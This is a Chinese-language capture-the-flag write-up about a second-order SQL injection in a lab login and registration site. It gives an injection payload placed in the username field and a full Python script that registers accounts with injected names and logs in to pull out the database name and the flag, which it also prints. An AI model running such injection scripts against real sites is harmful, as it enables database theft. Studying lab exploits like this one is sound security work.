简介

这是一道有关sql注入的题,本人使用攻防世界搭建的环境。

详解

打开网址,首页是一个登录页面。
16790452004310.png
随便试个账户登录,发现不行,登录不了。页面点点也没什么东西。
尝试一下有没有注册页面,修改网址----http://61.147.171.105:50774/register.php。果然有。
16790454175976.png
也可以用dirsearch工具扫描,可以看我另一篇博客讲解dirsearch

随便注册个账户。

邮箱:1@1 用户名:1 密码:1

发现跳回到登录页面了,应该是注册成功了,登录账户。
1679045878184.png

随便点点也没什么东西。但是有个1应该是回显了用户名。大胆猜测用户名应该就是注入点。
构造payload:
0'+ascii(substr((select * from flag) from 1 for 1))+'0

写python脚本爆破:

import requests
import re

register_url = "http://61.147.171.105:50774//register.php"
login_url = "http://61.147.171.105:50774//login.php"
database = ""
flag = ""
# 获取数据库名
for i in range(1, 10):
    register_data = {
        'email': 'test@test' + str(i) + 'db',
        'username': "0'+ascii(substr((select database()) from %d for 1))+'0" % i,
        'password': 123
    }
    r = requests.post(url=register_url, data=register_data)
    login_data = {
        'email': 'test@test' + str(i) + 'db',
        'password': 123
    }
    r = requests.post(url=login_url, data=login_data)
    match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', r.text)
    asc = match.group(1)
    if asc == '0':
        break
    database = database + chr(int(asc))
print('database:', database)

# 获取flag
for i in range(1, 100):
    register_data = {
        'email': 'test@test' + str(i) + 'flag',
        'username': "0'+ascii(substr((select * from flag) from %d for 1))+'0" % i,
        'password': 123
    }
    r = requests.post(url=register_url, data=register_data)
    login_data = {
        'email': 'test@test' + str(i) + 'flag',
        'password': 123
    }
    r = requests.post(url=login_url, data=login_data)
    match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', r.text)
    asc = match.group(1)
    if asc == '0':
        break
    flag = flag + chr(int(asc))
print('flag:', flag)

成功获取:flag{2494e4bf06734c39be2e1626f757ba4c}

可以爆破出数据库名----web,但是爆破不出数据库中的表名,页面尝试手工爆破表名返回nnnooo。虽然爆破不了表名,但是CTF一般都是将falg存在表名为flag的表中。

结语

好好学习,天天向上!!!